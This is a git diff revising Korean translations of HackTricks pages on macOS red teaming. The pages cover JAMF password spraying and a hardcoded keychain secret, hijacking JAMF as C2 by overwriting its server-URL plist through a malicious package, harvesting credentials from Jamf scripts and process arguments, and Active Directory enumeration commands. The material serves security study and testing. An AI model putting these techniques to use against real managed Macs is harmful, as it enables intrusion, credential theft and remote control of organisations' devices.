JAMF는 **사용자 지정 스크립트** (시스템 관리자가 개발한 스크립트), **네이티브 페이로드** (로컬 계정 생성, EFI 암호 설정, 파일/프로세스 모니터링...) 및 **MDM** (기기 구성, 기기 인증서...)를 실행할 수 있습니다.
|
||||
JAMF는 **사용자가 개발한 스크립트** (시스템 관리자가 개발한 스크립트), **네이티브 페이로드** (로컬 계정 생성, EFI 암호 설정, 파일/프로세스 모니터링...) 및 **MDM** (기기 구성, 기기 인증서...)를 실행할 수 있습니다.
|
||||
|
||||
#### JAMF 자체 등록
|
||||
#### JAMF 자가 등록
|
||||
|
||||
`https://<company-name>.jamfcloud.com/enroll/`과 같은 페이지로 이동하여 **자체 등록이 활성화**되어 있는지 확인하세요. 활성화되어 있다면 **액세스하기 위한 자격 증명을 요청**할 수 있습니다.
|
||||
`https://<company-name>.jamfcloud.com/enroll/`과 같은 페이지로 이동하여 **자가 등록이 활성화되어 있는지 확인**하세요. 활성화되어 있다면 **액세스 자격 증명을 요청**할 수 있습니다.
|
||||
|
||||
[**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) 스크립트를 사용하여 패스워드 스프레이 공격을 수행할 수 있습니다.
|
||||
[**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) 스크립트를 사용하여 패스워드 spraying 공격을 수행할 수 있습니다.
|
||||
|
||||
또한 적절한 자격 증명을 찾은 후 다음 양식으로 다른 사용자 이름을 브루트 포스할 수 있습니다:
|
||||
|
||||
|
@ -55,14 +55,14 @@ JAMF는 **사용자 지정 스크립트** (시스템 관리자가 개발한 스
|
|||
|
||||
#### JAMF 기기 인증
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**`jamf`** 바이너리에는 열쇠 체인을 열기 위한 비밀이 포함되어 있었으며, 발견 당시에는 모두와 **공유**되었으며, 비밀은 **`jk23ucnq91jfu9aj`**였습니다.\
|
||||
또한 jamf는 **LaunchDaemon**으로 **`/Library/LaunchAgents/com.jamf.management.agent.plist`**에 **지속**됩니다.
|
||||
**`jamf`** 바이너리에는 **모두에게 공유된** 키체인을 열기 위한 비밀이 포함되어 있었으며, 그 당시에는 **`jk23ucnq91jfu9aj`**였습니다.\
|
||||
또한 jamf는 **`/Library/LaunchAgents/com.jamf.management.agent.plist`**에 **LaunchDaemon**으로 **지속**됩니다.
|
||||
|
||||
#### JAMF 기기 탈취
|
||||
|
||||
**`jamf`**가 사용할 **JSS** (Jamf Software Server) **URL**은 **`/Library/Preferences/com.jamfsoftware.jamf.plist`**에 위치합니다.\
|
||||
**`jamf`**가 사용할 **JSS** (Jamf Software Server) **URL**은 **`/Library/Preferences/com.jamfsoftware.jamf.plist`**에 있습니다.\
|
||||
이 파일에는 기본적으로 URL이 포함되어 있습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -80,7 +80,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
따라서, 공격자는 악성 패키지 (`pkg`)를 드롭할 수 있으며, 이 패키지는 설치될 때 **이 파일을 덮어쓰고 URL을 Typhon 에이전트의 Mythic C2 수신기로 설정**하여 JAMF를 C2로 남용할 수 있게 됩니다.
|
||||
따라서, 공격자는 악성 패키지 (`pkg`)를 드롭할 수 있으며, 이 패키지는 설치될 때 **이 파일을 덮어쓰고** JAMF를 C2로 남용할 수 있도록 **Typhon 에이전트의 Mythic C2 수신기 URL**로 설정됩니다.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -91,28 +91,28 @@ sudo jamf policy -id 0
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
#### JAMF 위장
|
||||
#### JAMF Impersonation
|
||||
|
||||
장치와 JMF 간의 통신을 위해 **통신을 위장**하기 위해서는 다음이 필요합니다:
|
||||
**장치**와 JMF 간의 **통신을 위장**하기 위해 다음이 필요합니다:
|
||||
|
||||
* 장치의 **UUID**: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
||||
* 장치 인증서를 포함하는 **JAMF 키체인** 위치: `/Library/Application\ Support/Jamf/JAMF.keychain`
|
||||
* **장치의 UUID**: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
||||
* 다음 위치에서 **JAMF 키체인**을 가져옵니다: `/Library/Application\ Support/Jamf/JAMF.keychain` (장치 인증서를 포함)
|
||||
|
||||
이 정보를 사용하여 **훔친** 하드웨어 **UUID**와 **SIP 비활성화**가 적용된 **JAMF 키체인**을 가진 **가상 머신**을 생성하고, Jamf **에이전트**를 **감시**하고 정보를 훔칠 수 있습니다.
|
||||
이 정보를 사용하여 **도난당한** 하드웨어 **UUID**로 **가짜 VM**을 만들고 **SIP를 비활성화**한 후, **JAMF 키체인을 넣어** Jamf **에이전트를 후킹**하여 정보를 도난합니다.
|
||||
|
||||
#### 비밀 정보 훔치기
|
||||
#### 비밀 정보 도난
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption><p>a</p></figcaption></figure>
|
||||
|
||||
또한, 관리자가 Jamf를 통해 실행하려는 **사용자 정의 스크립트**를 모니터링하기 위해 위치 `/Library/Application Support/Jamf/tmp/`를 모니터링할 수 있습니다. 이 스크립트에는 **자격 증명**이 포함될 수 있습니다.
|
||||
또한 `/Library/Application Support/Jamf/tmp/` 위치를 모니터링하여 관리자가 Jamf를 통해 실행하려는 **사용자 정의 스크립트**를 확인할 수 있습니다. 이러한 스크립트는 여기에 **배치되고 실행되며 삭제**될 수 있습니다. 이러한 스크립트에는 **자격 증명**이 포함될 수 있습니다.
|
||||
|
||||
그러나, **자격 증명**은 **매개 변수**로 이러한 스크립트를 통해 전달될 수 있으므로 `ps aux | grep -i jamf`를 모니터링해야 합니다(루트 권한이 없어도 됩니다).
|
||||
그러나 **자격 증명**은 **매개 변수**로 이러한 스크립트를 통해 전달될 수 있으므로 `ps aux | grep -i jamf`를 모니터링해야 합니다(루트 권한이 필요하지 않음).
|
||||
|
||||
[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) 스크립트는 새로운 파일이 추가되고 새로운 프로세스 인수가 추가될 때까지 대기할 수 있습니다.
|
||||
[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) 스크립트는 새 파일이 추가되거나 새 프로세스 인수가 추가될 때를 감지할 수 있습니다.
|
||||
|
||||
### macOS 원격 접속
|
||||
### macOS 원격 액세스
|
||||
|
||||
또한 **MacOS**의 "특별한" **네트워크** **프로토콜**에 대해서도 알아보세요:
|
||||
또한 **MacOS**의 "특별한" **네트워크** **프로토콜**에 대해:
|
||||
|
||||
{% content-ref url="../macos-security-and-privilege-escalation/macos-protocols.md" %}
|
||||
[macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md)
|
||||
|
@ -120,7 +120,7 @@ sudo jamf policy -id 0
|
|||
|
||||
## Active Directory
|
||||
|
||||
일부 경우에는 **MacOS 컴퓨터가 AD에 연결**되어 있는 것을 발견할 수 있습니다. 이 경우에는 일반적으로 알고 있는 대로 active directory를 **열거**해보는 것이 좋습니다. 다음 페이지에서 도움을 얻을 수 있습니다:
|
||||
일부 경우에는 **MacOS 컴퓨터가 AD에 연결**되어 있는 것을 발견할 수 있습니다. 이러한 시나리오에서는 일반적으로 사용하는 방식으로 **Active Directory를 열거**해야 합니다. 다음 페이지에서 도움을 얻을 수 있습니다:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
||||
|
@ -134,15 +134,15 @@ sudo jamf policy -id 0
|
|||
[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
일부 **로컬 MacOS 도구**인 `dscl`도 도움이 될 수 있습니다.
|
||||
`dscl`이라는 **로컬 MacOS 도구**도 도움이 될 수 있습니다:
|
||||
```bash
|
||||
dscl "/Active Directory/[Domain]/All Domains" ls /
|
||||
```
|
||||
또한, MacOS에서 AD를 자동으로 열거하고 kerberos와 상호 작용하는 도구들이 준비되어 있습니다:
|
||||
또한 MacOS용 도구들이 AD를 자동으로 열거하고 kerberos를 사용하는 방법을 연구하도록 준비되어 있습니다:
|
||||
|
||||
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound는 Bloodhound 감사 도구의 확장으로, MacOS 호스트에서 Active Directory 관계를 수집하고 흡수할 수 있도록 해줍니다.
|
||||
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost는 macOS에서 Heimdal krb5 API와 상호 작용하기 위해 설계된 Objective-C 프로젝트입니다. 이 프로젝트의 목표는 대상 시스템에 다른 프레임워크나 패키지 없이도 네이티브 API를 사용하여 macOS 장치에서 Kerberos에 대한 보안 테스트를 더욱 용이하게 하는 것입니다.
|
||||
* [**Orchard**](https://github.com/its-a-feature/Orchard): Active Directory 열거를 수행하기 위한 JavaScript for Automation (JXA) 도구입니다.
|
||||
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound는 Bloodhound 감사 도구의 확장으로, MacOS 호스트에서 Active Directory 관계를 수집하고 흡수할 수 있도록 합니다.
|
||||
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost는 macOS에서 Heimdal krb5 API와 상호 작용하기 위해 설계된 Objective-C 프로젝트입니다. 이 프로젝트의 목표는 대상 시스템에 다른 프레임워크나 패키지를 필요로하지 않고 macOS 장치에서 Kerberos 주변의 보안 테스트를 더 잘 수행할 수 있도록 하는 것입니다.
|
||||
* [**Orchard**](https://github.com/its-a-feature/Orchard): Active Directory 열거를 수행하는 JavaScript for Automation (JXA) 도구입니다.
|
||||
|
||||
### 도메인 정보
|
||||
```bash
|
||||
|
@ -150,20 +150,20 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
|
|||
```
|
||||
### 사용자
|
||||
|
||||
MacOS의 세 가지 유형의 사용자는 다음과 같습니다:
|
||||
맥OS 사용자의 세 가지 유형은 다음과 같습니다:
|
||||
|
||||
* **로컬 사용자** - 로컬 OpenDirectory 서비스에서 관리되며 Active Directory와 어떤 방식으로도 연결되어 있지 않습니다.
|
||||
* **네트워크 사용자** - DC 서버에 인증하기 위해 연결이 필요한 휘발성 Active Directory 사용자입니다.
|
||||
* **모바일 사용자** - 자격 증명 및 파일에 대한 로컬 백업이 있는 Active Directory 사용자입니다.
|
||||
- **로컬 사용자** — 로컬 OpenDirectory 서비스에서 관리되며 Active Directory와 어떤 방식으로도 연결되어 있지 않습니다.
|
||||
- **네트워크 사용자** — DC 서버에 연결하여 인증을 받아야 하는 휘발성 Active Directory 사용자입니다.
|
||||
- **모바일 사용자** — 자격 증명 및 파일에 대한 로컬 백업이 있는 Active Directory 사용자입니다.
|
||||
|
||||
사용자 및 그룹에 대한 로컬 정보는 _/var/db/dslocal/nodes/Default_ 폴더에 저장됩니다.\
|
||||
예를 들어, _mark_라는 사용자에 대한 정보는 _/var/db/dslocal/nodes/Default/users/mark.plist_에 저장되며, _admin_ 그룹에 대한 정보는 _/var/db/dslocal/nodes/Default/groups/admin.plist_에 저장됩니다.
|
||||
|
||||
MacHound는 Bloodhound 데이터베이스에 HasSession 및 AdminTo 엣지 외에도 **세 가지 새로운 엣지**를 추가합니다:
|
||||
HasSession 및 AdminTo 엣지를 사용하는 것 외에도, **MacHound는 Bloodhound 데이터베이스에 세 가지 새로운 엣지를 추가**합니다:
|
||||
|
||||
* **CanSSH** - 호스트로 SSH 연결을 허용하는 엔티티
|
||||
* **CanVNC** - 호스트로 VNC 연결을 허용하는 엔티티
|
||||
* **CanAE** - 호스트에서 AppleEvent 스크립트를 실행할 수 있는 엔티티
|
||||
- **CanSSH** - 호스트로 SSH 연결을 허용하는 엔티티
|
||||
- **CanVNC** - 호스트로 VNC 연결을 허용하는 엔티티
|
||||
- **CanAE** - 호스트에서 AppleEvent 스크립트를 실행할 수 있는 엔티티
|
||||
```bash
|
||||
#User enumeration
|
||||
dscl . ls /Users
|
||||
|
@ -187,9 +187,9 @@ dsconfigad -show
|
|||
```
|
||||
더 많은 정보는 [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)에서 확인할 수 있습니다.
|
||||
|
||||
## 키체인에 접근하기
|
||||
## 키체인 접근
|
||||
|
||||
키체인에는 암호를 생성하지 않고 접근할 경우에도 도움이 될 수 있는 민감한 정보가 많이 포함되어 있습니다. 이는 레드팀 연습을 진행하는 데 도움이 될 수 있습니다:
|
||||
키체인에는 민감한 정보가 많이 포함되어 있으며, 프롬프트를 생성하지 않고 액세스하는 경우 레드팀 연습을 진행하는 데 도움이 될 수 있습니다:
|
||||
|
||||
{% content-ref url="macos-keychain.md" %}
|
||||
[macos-keychain.md](macos-keychain.md)
|
||||
|
@ -197,7 +197,7 @@ dsconfigad -show
|
|||
|
||||
## 외부 서비스
|
||||
|
||||
일반적인 Windows 레드팀과는 달리 MacOS 레드팀은 일반적으로 **MacOS가 직접 여러 외부 플랫폼과 통합**되어 있습니다. MacOS의 일반적인 구성은 **OneLogin 동기화 자격증명을 사용하여 컴퓨터에 액세스하고 OneLogin을 통해 여러 외부 서비스**(예: github, aws...)에 액세스하는 것입니다.
|
||||
MacOS 레드팀은 일반적인 Windows 레드팀과 다르며, **일반적으로 MacOS는 여러 외부 플랫폼과 직접 통합**되어 있습니다. MacOS의 일반적인 구성은 **OneLogin 동기화 자격 증명을 사용하여 컴퓨터에 액세스하고 OneLogin을 통해 여러 외부 서비스**(예: github, aws...)에 액세스하는 것입니다.
|
||||
|
||||
## 기타 레드팀 기술
|
||||
|
||||
|
@ -214,17 +214,3 @@ Safari에서 파일을 다운로드하면 "안전한" 파일인 경우 **자동
|
|||
* [**https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0**](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0)
|
||||
* [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
|
||||
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅까지 AWS 해킹을 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **자신의 해킹 기법을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,62 +1,62 @@
|
|||
# macOS 커널 확장
|
||||
# macOS 커널 확장자
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하고 계신가요? **회사를 HackTricks에서 홍보**하거나 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으신가요? [**구독 계획**](https://github.com/sponsors/carlospolop)을 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. [**NFT**](https://opensea.io/collection/the-peass-family)의 독점 컬렉션입니다.
|
||||
* [**PEASS와 HackTricks의 공식 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) **Discord 그룹** 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 팔로우하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* [**hacktricks repo**](https://github.com/carlospolop/hacktricks)와 [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)로 **해킹 팁을 공유**해주세요.
|
||||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에서 귀사를 홍보**하고 싶으신가요? 아니면 **PEASS의 최신 버전을 확인하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점적인 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* [**공식 PEASS 및 HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* **Discord** [**💬**](https://emojipedia.org/speech-balloon/) **그룹에 가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **Hacktricks 레포**에 PR을 보내어 **해킹 요령을 공유**하세요 [**hacktricks-cloud 레포**](https://github.com/carlospolop/hacktricks-cloud)와 함께.
|
||||
|
||||
</details>
|
||||
|
||||
## 기본 정보
|
||||
|
||||
커널 확장(Kexts)은 **`.kext`** 확장자를 가진 **패키지**로, macOS 커널 공간에 **직접 로드**되어 주요 운영 체제에 추가 기능을 제공합니다.
|
||||
커널 확장자(Kexts)는 **`.kext`** 확장자를 가진 **패키지**로, **macOS 커널 공간에 직접 로드**되어 주요 운영 체제에 추가 기능을 제공합니다.
|
||||
|
||||
### 요구 사항
|
||||
|
||||
당연히, 이는 **커널 확장을 로드하기 어렵게 만드는** 매우 강력한 기능입니다. 커널 확장이 로드되기 위해 충족해야 하는 **요구 사항**은 다음과 같습니다:
|
||||
당연히, 이는 **커널 확장자를 로드하는 것이 복잡**하기 때문에 해당 **요구 사항**을 충족해야 합니다:
|
||||
|
||||
* **복구 모드에 진입**할 때 커널 **확장 로드가 허용**되어야 합니다:
|
||||
* **복구 모드 진입 시**, 커널 **확장자를 로드할 수 있어야** 합니다:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* 커널 확장은 **커널 코드 서명 인증서로 서명**되어야 하며, 이는 **Apple**만이 부여할 수 있습니다. Apple은 회사와 그 필요성을 자세히 검토합니다.
|
||||
* 커널 확장은 또한 **노타라이즈(notarized)**되어야 하며, Apple은 악성 코드를 확인할 수 있습니다.
|
||||
* 그런 다음, **root** 사용자가 커널 확장을 **로드**할 수 있으며, 패키지 내의 파일은 **root에 속해** 있어야 합니다.
|
||||
* 업로드 과정에서 패키지는 **보호된 비루트 위치**인 `/Library/StagedExtensions`에 준비되어야 합니다(`com.apple.rootless.storage.KernelExtensionManagement` 권한이 필요함).
|
||||
* 마지막으로, 로드를 시도할 때 사용자는 [**확인 요청을 받게**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) 되며, 수락하면 컴퓨터를 **재시작**하여 로드해야 합니다.
|
||||
* 커널 확장자는 **커널 코드 서명 인증서로 서명**되어야 하며, 이는 **Apple에서만 부여**할 수 있습니다. 회사와 필요한 이유를 자세히 검토할 것입니다.
|
||||
* 커널 확장자는 **노타라이즈(notarized)**도 되어야 하며, Apple이 악성 코드를 확인할 수 있습니다.
|
||||
* 그런 다음, **루트** 사용자가 커널 확장자를 **로드**할 수 있으며, 패키지 내의 파일은 **루트에 속해** 있어야 합니다.
|
||||
* 업로드 프로세스 중에 패키지는 **보호된 비루트 위치**인 `/Library/StagedExtensions`에 준비되어야 합니다(`com.apple.rootless.storage.KernelExtensionManagement` 권한 필요).
|
||||
* 마지막으로, 로드를 시도할 때 사용자는 [**확인 요청을 받게**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) 되며, 수락하면 컴퓨터를 **재부팅**하여 로드해야 합니다.
|
||||
|
||||
### 로드 과정
|
||||
### 로드 프로세스
|
||||
|
||||
Catalina에서는 다음과 같았습니다: **검증** 프로세스는 **유저 랜드(userland)**에서 발생한다는 점에 주목할 가치가 있습니다. 그러나 **`com.apple.private.security.kext-management`** 권한을 가진 애플리케이션만이 **커널에 확장을 로드하도록 요청**할 수 있습니다: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
||||
Catalina에서는 다음과 같았습니다: **검증** 프로세스가 **사용자 영역**에서 발생한다는 점이 흥미롭습니다. 그러나 **`com.apple.private.security.kext-management`** 권한이 있는 애플리케이션만 **커널에 확장자를 로드 요청**할 수 있습니다: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
||||
|
||||
1. **`kextutil`** CLI는 확장을 로드하기 위한 **검증** 프로세스를 **시작**합니다.
|
||||
* **Mach 서비스**를 사용하여 **`kextd`**와 통신합니다.
|
||||
1. **`kextutil`** cli는 확장자를 로드하기 위한 **검증** 프로세스를 **시작**합니다
|
||||
* **`kextd`**에게 **Mach 서비스**를 사용하여 메시지를 보냅니다.
|
||||
2. **`kextd`**는 **서명**과 같은 여러 가지를 확인합니다.
|
||||
* **`syspolicyd`**와 통신하여 확장이 **로드**될 수 있는지 **확인**합니다.
|
||||
3. **`syspolicyd`**는 확장이 이전에 로드되지 않았다면 **사용자에게 확인 요청**을 합니다.
|
||||
* **`syspolicyd`**는 결과를 **`kextd`**에 보고합니다.
|
||||
4. **`kextd`**는 마침내 커널에 확장을 **로드**하도록 알릴 수 있습니다.
|
||||
* **`syspolicyd`**에게 확장자를 **로드할 수 있는지 확인**하도록 요청합니다.
|
||||
3. **`syspolicyd`**는 확장자가 이전에 로드되지 않았다면 **사용자에게 프롬프트**를 표시합니다.
|
||||
* **`syspolicyd`**는 결과를 **`kextd`**에게 보고합니다.
|
||||
4. **`kextd`**는 마침내 커널에 확장자를 **로드하도록 지시**할 수 있습니다.
|
||||
|
||||
**`kextd`**가 사용 불가능한 경우 **`kextutil`**은 동일한 검사를 수행할 수 있습니다.
|
||||
**`kextd`**를 사용할 수 없는 경우 **`kextutil`**이 동일한 확인을 수행할 수 있습니다.
|
||||
|
||||
## 참고 자료
|
||||
## References
|
||||
|
||||
* [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
|
||||
* [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하고 계신가요? **회사를 HackTricks에서 홍보**하거나 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으신가요? [**구독 계획**](https://github.com/sponsors/carlospolop)을 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. [**NFT**](https://opensea.io/collection/the-peass-family)의 독점 컬렉션입니다.
|
||||
* [**PEASS와 HackTricks의 공식 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) **Discord 그룹** 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 팔로우하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* [**hacktricks repo**](https://github.com/carlospolop/hacktricks)와 [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)로 **해킹 팁을 공유**해주세요.
|
||||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에서 귀사를 홍보**하고 싶으신가요? 아니면 **PEASS의 최신 버전을 확인하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점적인 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* [**공식 PEASS 및 HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* **Discord** [**💬**](https://emojipedia.org/speech-balloon/) **그룹에 가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **Hacktricks 레포**에 PR을 보내어 **해킹 요령을 공유**하세요 [**hacktricks-cloud 레포**](https://github.com/carlospolop/hacktricks-cloud)와 함께.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,33 +2,33 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>제로에서 영웅까지 AWS 해킹 배우기</strong>를 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong>!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
다른 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
- **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 기본 정보
|
||||
|
||||
Mac OS 이진 파일은 일반적으로 **유니버설 바이너리**로 컴파일됩니다. **유니버설 바이너리**는 **동일한 파일에서 여러 아키텍처를 지원**할 수 있습니다.
|
||||
Mac OS 이진 파일은 일반적으로 **universal binaries**로 컴파일됩니다. **Universal binary**는 **동일한 파일에서 여러 아키텍처를 지원**할 수 있습니다.
|
||||
|
||||
이러한 바이너리는 **Mach-O 구조**를 따릅니다. Mach-O 구조는 다음과 같이 구성됩니다.
|
||||
이러한 이진 파일은 기본적으로 **Mach-O 구조**를 따릅니다. 이 구조는 다음과 같이 구성됩니다:
|
||||
|
||||
* 헤더
|
||||
* 로드 명령
|
||||
* 데이터
|
||||
- 헤더(Header)
|
||||
- 로드 명령(Load Commands)
|
||||
- 데이터(Data)
|
||||
|
||||
![https://alexdremov.me/content/images/2022/10/6XLCD.gif](<../../../.gitbook/assets/image (559).png>)
|
||||
|
||||
## Fat Header
|
||||
|
||||
